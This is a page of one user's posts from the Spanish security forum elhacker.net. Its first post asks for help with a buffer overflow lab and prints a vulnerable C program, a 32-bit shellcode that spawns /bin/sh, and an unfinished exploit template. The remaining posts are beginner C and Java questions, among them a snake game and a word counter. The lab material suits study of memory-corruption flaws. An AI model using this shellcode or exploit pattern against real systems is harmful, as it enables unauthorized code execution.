elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Mensajes
Páginas: [1] 2
1  Seguridad Informática / Bugs y Exploits / Buffer Overflow en: 23 Abril 2019, 23:58 pm
Hola  estoy empezando con algunos temas de seguridad y a familiarizarme con Linux, en este caso con Buffer Overflow, tengo lo siguiente pero no logro obtener la direccion de retorno , agradeceria su ayuda

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[24];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}


---
/* call_shellcode.c  */

/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>

const char code[] =
  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdq                            */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
}
----
/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdq                            */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
2  Programación / Programación C/C++ / Re: programacion orientada a objetos en: 4 Mayo 2016, 02:57 am
Se que Google tiene infinidad de respuestas pero no necesito las respuestas de Google sino de personas que conozcan el tema y puedan explicarlo en "español"
3  Programación / Programación C/C++ / programacion orientada a objetos en: 4 Mayo 2016, 02:46 am
 :D :D :D :D :D Hola que tal estoy empezando en introducción a POO y nos han dejado un trabajo donde entendamos los conceptos básicos pero no de libros sino de experiencias de otras personas por lo cual agradecería si alguien pudiera darme su opinión sobre estos temas
Temas:
1.-Que Es Programacion Orientada a Objetos?
2.-Caracteristicas (abstraccion, encapsulamiento, herencia, polimorfismo)
3.- Clases y Objetos
4.-Metodos y datos miembro
4  Programación / Java / snake java en: 14 Noviembre 2015, 16:17 pm
Hola tengo problemas con estas clases del  juego snake al parecer son  las variables x,y en la clase panel que afecta tambien  la clase gui al heredar,intente declarar las variables pero aun asi  marca errore,alguien podria ayudarme? gracias
Clase Panel:

Código:

package snake.gui;

import java.awt.Color;
import java.awt.Graphics;
import java.awt.Graphics2D;
import java.awt.Point;
import java.awt.RenderingHints;
import java.awt.geom.Rectangle2D;
import java.util.ArrayList;
import java.util.List;

import javax.swing.JPanel;

@SuppressWarnings("serial")
public class SnakePanel extends JPanel
{
  Color board[][] = new Color[30][30];
  private Rectangle2D[][] my_board = new Rectangle2D[30][30];
  private boolean collided;
  private boolean growMode;
  int growingThreeSpaces;
  int spacesToGrowTotal;
  int beginning;
 
  public SnakePanel(Color[][] gameBoard)
  {
    collided = false;
    growMode = false;
    beginning = 0;
    board = gameBoard;
   
    for (int x = 0; x < 30; x++)
    {
      for (int y = 0; y < 30; y++)
      {
        my_board[x][y] =
          new Rectangle2D.Double(y * 15, x * 15, 14, 14);      //Quick fix
      }
    }   //board is correct here
  }
 
  public void paintComponent(final Graphics the_graphics)
  {
    super.paintComponent(the_graphics);
    //Rectangle2D my_square;
    final Graphics2D g2d = (Graphics2D) the_graphics;
    g2d.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);
    for (int x = 0; x < 30; x++)
    {
      for (int y = 0; y < 30; y++)
      {
        g2d.setColor(board[x][y]);
        g2d.fill(my_board[x][y]);
        g2d.draw(my_board[x][y]);
      }
    } 
  }
  public void clearOldSnake(List points)
  {
    //System.out.println("clearOldSnake(List points (points.size() = " + points.size() + ")");
    for (int x = 0; x < points.size(); x++)
    {
      board[points.get(x).x][points.get(x).y] = Color.GREEN;
    }
  }
  public boolean growMode()
  {
    return growMode;
  }
  /*
   * This updates the position of the snake by points (positions) on the map level
   */
  public void updateSnake(List points)
  {
    if (beginning < 2) { beginning++; }
    if (growMode)
    {
      growingThreeSpaces++;
      if (growingThreeSpaces == spacesToGrowTotal)
      {
        resetGrowMode();
      }
    }

    for (int x = 0; x < points.size(); x++)
    {
      //System.out.println("Coords: " + board[points.get(x).x][points.get(x).y]);
      if (board[points.get(x).x][points.get(x).y] == Color.BLUE)
      {
        //System.out.println("COLLIDED WITH SOMETHING THAT MAKES SNAKE GROW");
        spacesToGrowTotal += 3;
        growMode = true;

      }
     
      else if (board[points.get(x).x][points.get(x).y] != Color.GREEN &&
               board[points.get(x).x][points.get(x).y] != Color.BLUE)
      {
        if (beginning > 1) { collided = true; }
      }

      board[points.get(x).x][points.get(x).y] = Color.YELLOW;
      //System.out.println("Coloring the snake yellow");
      //System.out.println(points.get(x).x + ", " + points.get(x).y);
    }
    repaint();
  }
  public boolean isCollided()
  {
    return collided;
  }
  public void resetCollided()
  {
    collided = false;
  }
  public void resetGrowMode()
  {
    spacesToGrowTotal = 0;
    growingThreeSpaces = 0;
    growMode = false;
  }
  public boolean checkForLevelCompletion()
  {
    boolean complete = true;
    for (int x = 0; x < 30; x++)
    {
      for (int y = 0; y < 30; y++)
      {
        if (board[x][y] == Color.BLUE)
        {
          complete = false;
        }
      }
    }
    return complete;
  }
}


y esta es la clase gui

 
Código:


package snake.gui;

import java.awt.BorderLayout;
import java.awt.Color;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.Point;
import java.util.ArrayList;
import java.util.List;

import javax.swing.JFrame;
import javax.swing.JMenu;
import javax.swing.JMenuBar;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.Timer;

import snake.enums.KeyDirections;

@SuppressWarnings("serial")
public class SnakeGUI extends JFrame
{
  public static final int FRAME_HEIGHT = 500;
  public static final int FRAME_WIDTH = 455;
  //private int[] my_keys;
 
  private int my_snake_direction;
  private int my_current_level;
 
  private Listener my_listener = new Listener();
 
  private MyTimer my_timer_listener = new MyTimer();
  private Timer my_timer;
  private KeyboardListener my_keyboardlistener = new KeyboardListener();
 
  private final JPanel my_main_panel = new JPanel(new BorderLayout());
 
  private final JMenuBar my_menubar = new JMenuBar();
 
  private final JMenu my_menubar_game = new JMenu("Game");
  private final JMenuItem my_menubar_game_newgame = new JMenuItem("New Game");
  private final JMenuItem my_menubar_game_pause = new JMenuItem("Pause");
  private final JMenuItem my_menubar_game_quit = new JMenuItem("Quit");
  /*******/
  private final JMenu my_menubar_help = new JMenu("Help");
  private final JMenuItem my_menubar_help_rules = new JMenuItem("Rules");
  private final JMenuItem my_menubar_help_about = new JMenuItem("About");

  private SnakePanel my_panel;
 
  private Color[][] board;
  private Level level = new Level();
 
  private List my_snake;
  private List new_snake;

  public SnakeGUI()
  {
    my_current_level = 1;
    my_timer = new Timer(1000, my_timer_listener);

    my_snake = new ArrayList();
    new_snake = new ArrayList();
   
    my_timer.setDelay(1000);

    newGame();
    setup();
  }
  public void newGame()
  {
    my_timer.start();
    my_snake.clear();
    board = level.getLevel(my_current_level);   //set level at the same time of assigning my_current_level to 1
    my_snake.add(new Point(1, 14));
    my_snake.add(new Point(2, 14));
    my_snake_direction = 40;

  }
  public void setup()
  {
    my_panel = new SnakePanel(board);
    //my_panel.updateSnake(my_snake);    //temp
    my_main_panel.add(my_panel, BorderLayout.CENTER);
    addKeyListener(my_keyboardlistener);
    add(my_main_panel);
    setupMenuBar();
    setJMenuBar(my_menubar);
    setTitle("Snake");
    setResizable(false);
    setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    setSize(FRAME_WIDTH, FRAME_HEIGHT);
    setLocationRelativeTo(null);
    setVisible(true);
    //my_panel.resetCollided();
    my_panel.updateSnake(my_snake);
    my_menubar_game_newgame.addActionListener(my_listener);
    my_menubar_game_pause.addActionListener(my_listener);
    my_menubar_game_quit.addActionListener(my_listener);
    my_menubar_help_rules.addActionListener(my_listener);
    my_menubar_help_about.addActionListener(my_listener);

   
  }
  private void setupMenuBar()
  {
    my_menubar.add(my_menubar_game);
    my_menubar_game.add(my_menubar_game_newgame);
    my_menubar_game.add(my_menubar_game_pause);
    my_menubar_game.addSeparator();
    my_menubar_game.add(my_menubar_game_quit);
    my_menubar.add(my_menubar_help);
    my_menubar_help.add(my_menubar_help_rules);
    my_menubar_help.addSeparator();
    my_menubar_help.add(my_menubar_help_about);
  }
 
  private class KeyboardListener implements KeyListener
  {
    /**
     * The key that was just pressed.
     * @param the_event The event that just happened (used to acquire what key was pressed).
     */
    public void keyPressed(final KeyEvent the_event)
    {
      final int key = the_event.getKeyCode();
      if (my_timer.isRunning())
      {
        if (key == 38 && my_snake_direction != 40)
 
        {
          my_snake_direction = key;
          moveSnake(KeyDirections.UP.getDirection());
        }
        else if (key == 40 && my_snake_direction != 38)
        {
          my_snake_direction = key;
          moveSnake(KeyDirections.DOWN.getDirection());
          //System.out.println("DOWN pressed");
        }
        else if (key == 37 && my_snake_direction != 39)
        {
          my_snake_direction = key;
          moveSnake(KeyDirections.LEFT.getDirection());
          //System.out.println("LEFT pressed");
        }
        else if (key == 39 && my_snake_direction != 37)
        {
          my_snake_direction = key;
          moveSnake(KeyDirections.RIGHT.getDirection());
          //System.out.println("RIGHT pressed");
        }
      }
    }
      /**
       * The key that was just released.
       * @param the_event The event that just happened (used to acquire what key was released).
       */
    public void keyReleased(final KeyEvent the_event)
    {
    }
    /**
     * The key that was just typed.
     * @param the_event The event that just happened (used to acquire what key was typed).
     */
    public void keyTyped(final KeyEvent the_event)
    {
    }
  }

  private void moveSnake(int direction)
  {
    //System.out.println(my_timer.getDelay());
    boolean skipit = true;
    new_snake.clear();
    my_panel.clearOldSnake(my_snake);
   
    //System.out.println(direction + "");
    //If the desired direction is UP and the snake's not going down (can't go down to up, must go left or right first)
    if (direction == 38)
    {
      //System.out.println("Going UP");
      Point newPoint = new Point(my_snake.get(my_snake.size() - 1).x - 1,
          my_snake.get(my_snake.size() - 1).y);
      my_snake.add(newPoint);
      //my_snake.remove(0);
    }
    //Want to go DOWN, but can't if going UP
    else if (direction == 40)
    {
      //System.out.println("Going DOWN");
      Point newPoint = new Point(my_snake.get(my_snake.size() - 1).x + 1,
                                 my_snake.get(my_snake.size() - 1).y);
      my_snake.add(newPoint);
      //my_snake.remove(0);
    }
    //Want to go LEFT, but can't if going RIGHT
    else if (direction == 37)
    {
      //System.out.println("Going LEFT");
      Point newPoint = new Point(my_snake.get(my_snake.size() - 1).x,
                                 my_snake.get(my_snake.size() - 1).y - 1);
      my_snake.add(newPoint);
      //my_snake.remove(0);
    }
    //Want to go RIGHT, but can't if going LEFT
    else if (direction == 39)
    {
      //System.out.println("Going RIGHT");
      Point newPoint = new Point(my_snake.get(my_snake.size() - 1).x,
                                 my_snake.get(my_snake.size() - 1).y + 1);
      my_snake.add(newPoint);
      //my_snake.remove(0);
    }
    else
    {
      skipit = false;
    }
    if (skipit)
    {
      if (my_panel.growMode())
      {
        if(my_panel.checkForLevelCompletion())
        {
          my_current_level++;
          if (my_current_level == 11)
          {
            JOptionPane.showMessageDialog(null, "Good job.  You beat the game.");
            my_current_level = 1;
          }
         
          my_timer.setDelay(my_timer.getDelay() - 80);
         
          newGame();
        }
       }
      else
      {
        my_snake.remove(0);
         
      }
      my_panel.updateSnake(my_snake);
     
      if (my_panel.isCollided())
      {
        //System.out.println("COLLIDED");
        gameOver();
      }
    }
  }
  private class MyTimer implements ActionListener
  {
    public void actionPerformed(final ActionEvent the_event)
    {
      moveSnake(my_snake_direction);
    }
  }
 
  private void gameOver()
  {
    my_timer.stop();
    //System.out.println("Game over");

    newGame();
    my_panel.resetCollided();   
  }
 
  private class Listener implements ActionListener
  {
    public void actionPerformed(final ActionEvent the_event)
    {
      final String the_action = the_event.getActionCommand();
 
      if (the_action.equals(my_menubar_game_newgame.getActionCommand()))
      {
        my_timer.setDelay(1000);

        my_current_level = 1;
        newGame();
      }
      else if (the_action.equals(my_menubar_game_quit.getActionCommand()))
      {
        System.exit(0);
      }
      else if (the_action.equals(my_menubar_help_rules.getActionCommand()))
      {
        JOptionPane.showMessageDialog(null,
            "Eric Sweeten\nSnake v1.0\n\n" +
            "Keep the snake on the green.  Gather up all the food\n" +
            "(blue squares), and once all the food is gathered, you\n" +
            "pass the level.  There are 10 levels total.  Once you\n" +
            "pass the 10th level, you beat the game.");
      }
      else if (the_action.equals(my_menubar_help_about.getActionCommand()))
      {
        JOptionPane.showMessageDialog(null,
        "Eric Sweeten\nSnake v1.0\n\neric.sweeten@gmail.com");
      }
      else if (the_action.equals(my_menubar_game_pause.getActionCommand()))
      {
        togglePause();
      }
    }
  }
  private void togglePause()
  {
    if (my_timer.isRunning())
    {
      my_timer.stop();
    }
    else
    {
      my_timer.start();
    }
  }
}


5  Programación / Programación C/C++ / Re: operaciones con bit en: 1 Abril 2015, 04:40 am
Utilizando Google el segundo vinculo es Wikipedia: Bitwise operations in C.

Un saludo

gracias ya lo checo saludos
6  Programación / Programación C/C++ / operaciones con bit en: 1 Abril 2015, 01:25 am
Hola,algun libro o pagina donde pueda consultar informacion sobre las operaciones con bits en c?
7  Programación / Programación C/C++ / Re: contador en: 25 Marzo 2015, 21:45 pm
gracias ya por fin pude y checare el link muy amable :D

linea 56, j debe ser menor que B (cantidad letras) y no T (cantidad de fases)

por otro lado en linea 55 reinicias cont, así que solo obtendrás el resultado de la ultima evaluada

linea 50 puede tampoco estar del todo bien ya que si tienes
"hola mundo cruel" contará solo 2

linea 24, es no recomendado, el uso de get, se recomienda el uso de fgets
https://foro.elhacker.net/programacion_cc/lo_que_no_hay_que_hacer_en_cc_nivel_basico-t277729.0.html
8  Programación / Programación C/C++ / contador en: 25 Marzo 2015, 03:07 am
hola tengo un problema con mi codigo necesito que imprima cuantas palabras hay en un arreglo bidimensional interactivo, me imprime bien cuantos caracteres hay por fila pero en palabras solo imprime 0, no se si haya alguna funcion para contar palabras o necesite modificar el codigo
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #define T 3
  4. #define B 30
  5. void carga(char[][B]);
  6. void cuenta(char[][B],int[]);
  7. int palabras(char[][B]);
  8. void imprime(int[],int );
  9.  
  10. int main(int argc, char *argv[]) {
  11. char mosco[T][B];
  12. int cont,oso[T];
  13. carga(mosco);
  14. cuenta(mosco,oso);
  15. palabras(mosco);
  16. imprime(oso,cont);
  17. return 0;
  18. }
  19. void carga(char mosco[][B])
  20. {
  21. int i;
  22. for(i=0;i<T;i++)
  23. {
  24. gets(mosco[i]);
  25. }
  26. }
  27. void cuenta(char mosco[][B],int oso[T])
  28. {
  29. int i=0;
  30. for( ;i<T;i++)
  31. {
  32. oso[i]=strlen(mosco[i]);
  33. }
  34.  
  35. }
  36. void imprime(int oso[],int cont)
  37. {
  38. int i=0,j=0;
  39. for(;i<T;i++)
  40. {
  41. printf("cad %d tiene =%d letras\n",i+1,oso[i]);
  42. }
  43. putchar('\n');
  44. for(;j<T;j++)
  45. {
  46. printf("cad %d tiene =%d palabras\n",j+1,cont);
  47. }
  48. }
  49. int palabras(char mosco[][B])
  50. {
  51. int cont,i=0,j=0;
  52.  
  53. for( ;i<T;i++)
  54. {
  55. cont=0;
  56. for(;j<T&&mosco[i]!='\0';j++)
  57. {
  58. if (i != ' ' || i!= '\n' || i!= '\t')
  59. cont++;
  60. }
  61.  
  62. }
  63.  
  64. }
9  Programación / Programación C/C++ / recorrer arrays en: 9 Marzo 2015, 03:54 am
Citar
tengo un arreglo de num pares interactivo de 10 y rellenado de 0 dig ejemplo: 4 0 0 2 0 80 0 0 20 6. como hago para que quede recorrido asi 4 2 80 20 6 0 0 0 0 0;  en lenguaje c
10  Programación / Programación C/C++ / Re: funciones paso por referencia en: 4 Marzo 2015, 01:09 am
)


A scanf hay que pasarle la dirección de las variables con &. Tienes que ir poco a poco, estás intentando hacer ejercicios de paso por referencia sin dominar cosas más básicas. Es mejor ser capaz de ver los errores de tu código e ir corrigiendolos por ti mismo, a que te lo den ya todo corregido.
eso no te lo niego la verdad es que funciones se me dificulta pero te agradezco mucho tu ayuda de verdad :D
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines